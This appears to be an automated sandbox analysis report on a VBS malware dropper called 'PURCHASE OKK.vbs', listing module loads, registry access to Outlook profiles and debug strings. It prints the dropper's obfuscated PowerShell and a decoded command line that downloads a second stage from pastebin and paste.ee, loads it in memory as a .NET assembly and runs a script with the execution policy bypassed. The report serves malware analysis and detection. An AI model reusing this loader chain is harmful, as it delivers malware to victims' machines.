Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\iexpress.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\WCAmvWxrBbedEHpgwvyxrWSwxzilbIAZzxjKyndXhU\DmMVOWsP1JSI77P.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\iexpress.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Jump to behavior

Source: PURCHASE OKK.vbs

Static file information: File size 35437604 > 1048576

Source:	Binary string: iexpress.pdbGCTL source: MSBuild.exe, 0000000A.00000002.1260131610.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000002.2228533425.00000000009EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: iexpress.exe, 0000000C.00000002.2231547950.00000000053BC000.00000004.10000000.00040000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2227220889.000000000310A000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2230655033.000000000327C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.1565665797.000000001EA8C000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: MSBuild.exe, 0000000A.00000002.1263394109.0000000001A10000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000003.1261140619.0000000004BE7000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000003.1259127486.0000000004A15000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004D90000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004F2E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 0000000A.00000002.1263394109.0000000001A10000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, iexpress.exe, 0000000C.00000003.1261140619.0000000004BE7000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000003.1259127486.0000000004A15000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004D90000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 0000000C.00000002.2230306634.0000000004F2E000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Work\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: DmMVOWsP1JSI77P.exe, 0000000B.00000000.1183432718.00000000003FF000.00000002.00000001.01000000.00000006.sdmp, DmMVOWsP1JSI77P.exe, 00000014.00000002.2226912501.00000000003FF000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: iexpress.pdb source: MSBuild.exe, 0000000A.00000002.1260131610.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, DmMVOWsP1JSI77P.exe, 0000000B.00000002.2228533425.00000000009EE000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?Xw?t?C0?LQ?t?C0?LQ?t?Cc?Jw?s?C??Jw?n?D??Jw?n?Cw?I??n?Cc?MQ?n?Cc?L??g?Cc?JwB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod(

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?Ho?RgBL?GE?QQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?bgBh?EE?ZwBk?GM?V?BH?Cc?I??7?CQ?SQBl?H??RwBR?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?Ds?J?B3?GU?YgBD?Gw?aQBl?G4?d??g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?FI?VgBV?Fg?dg?g?D0?I??k?Hc?ZQBi?EM?b?Bp?GU?bgB0?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?Ho?RgBL?GE?QQ?g?Ck?I??7?CQ?UgBW?FU?W?B2?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BJ?GU?c?BH?FE?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?Cc?VQBU?EY?O??n?C??LQBm?G8?cgBj?GU?I??7?CQ?UwBU?GY?RwBs?C??PQ?g?Cg?I?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??y?C4?d?B4?HQ?Jw?p?C??Ow?k?F??a?By?Gw?Tg?g?D0?I?BO?GU?dw?t?E8?YgBq?GU?YwB0?C??UwB5?HM?d?Bl?G0?LgBO?GU?d??u?Fc?ZQBi?EM?b?Bp?GU?bgB0?C??Ow?k?F??a?By?Gw?Tg?u?EU?bgBj?G8?Z?Bp?G4?Zw?g?D0?I?Bb?FM?eQBz?HQ?ZQBt?C4?V?Bl?Hg?d??u?EU?bgBj?G8?Z?Bp?G4?ZwBd?Do?OgBV?FQ?Rg?4?C??Ow?k?EQ?S?B6?FU?QQ?g?C??PQ?g?Cg?I?BH?GU?d??t?EM?bwBu?HQ?ZQBu?HQ?I??t?F??YQB0?Gg?I??k?Ek?ZQBw?Ec?UQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??PQ?g?CQ?U?Bo?HI?b?BO?C4?R?Bv?Hc?bgBs?G8?YQBk?FM?d?By?Gk?bgBn?Cg?I??k?EQ?S?B6?FU?QQ?g?Ck?I??7?CQ?dQBU?Gw?S?B6?C??f??g?E8?dQB0?C0?RgBp?Gw?ZQ?g?C0?RgBp?Gw?ZQBQ?GE?d?Bo?C??J?BT?FQ?ZgBH?Gw?I??t?GY?bwBy?GM?ZQ?g?Ds?J?BN?E8?R?BS?Gc?I??9?C??I??n?CQ?cgB5?GE?ZQBH?C??PQ?g?Cg?RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??Jw?n?Cc?I??r?C??J?BT?FQ?ZgBH?Gw?I??r?C??Jw?n?Cc?I??t?EU?bgBj?G8?Z?Bp?G4?Zw?g?FU?V?BG?Dg?KQ?7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?EI?eQB0?GU?WwBd?F0?I??k?EY?eQBm?GQ?eg?g?D0?I?Bb?HM?eQBz?HQ?ZQBt?C4?QwBv?G4?dgBl?HI?d?Bd?Do?OgBG?HI?bwBt?EI?YQBz?GU?Ng?0?FM?d?By?Gk?bgBn?Cg?I??k?HI?eQBh?GU?Rw?u?HI?ZQBw?Gw?YQBj?GU?K??n?Cc?J??k?CQ?J??n?Cc?L??n?Cc?QQ?n?Cc?KQ?g?Ck?I??7?Cc?I??7?CQ?TQBP?EQ?UgBn?C??Kw?9?C??JwBb?FM?eQBz?HQ?ZQBt?C4?QQBw?H??R?Bv?G0?YQBp?G4?XQ?6?Cc?I??r?C??Jw?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?I??k?EY?eQBm?GQ?eg?g?Ck?Lg?n?C??Ow?k?E0?TwBE?FI?Zw?g?Cs?PQ?g?Cc?RwBl?HQ?V?B5?H??ZQ?o?C??Jw?n?E0?aQBz?GU?cgBp?GM?bwBy?GQ?aQBv?HM?bwBB?G0?ZQBu?C4?QwBs?GE?cwBz?DE?Jw?n?C??KQ?u?Ec?ZQB0?E0?Jw?g?Ds?J?BN?E8?R?BS?Gc?I??r?D0?I??n?GU?d?Bo?G8?Z??o?C??Jw?n?E0?cwBx?EI?SQBi?Fk?Jw?n?C??KQ?u?Ek?bgB2?G8?awBl?Cg?I??k?G4?dQBs?Gw?I??s?C??WwBv?GI?agBl?GM?d?Bb?F0?XQ?g?Cg?I??n?Cc?M??v?FQ?UgB4?E8?R?Ba?Dk?N??v?HI?LwBl?GU?LgBl?HQ?cwBh?H??Lw?v?Do?cwBw?HQ?d?Bo?Cc?Jw?g?Cw?I??n?Cc?JQBK?Gs?UQBh?HM?R?Bm?Gc?cgBU?Gc?JQ?n?Cc?I??s?C??Jw?n?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?F8?XwBf?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$zFKaA = 'https://pastebin.com/raw/naAgdcTG' ;$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$RVUXv = $webClient.DownloadString( $zFKaA ) ;$RVUXv \| Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz \| Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ''' + $STfGl + ''' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''$$$$'',''A'') ) ;' ;$MODRg += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''MisericordiosoAmen.Class1'' ).GetM' ;$MODRg += 'ethod( ''MsqBIbY'' ).Invoke( $null , [object[]] ( ''0/TRxODZ94/r/ee.etsap//:sptth'' , ''C:\Windows\system32\PURCHASE OKK.vbs'' , ''____________________________________________-------'', ''0'', ''1'', ''Roda'' ) ) ;' ;$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$MODRg \| Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 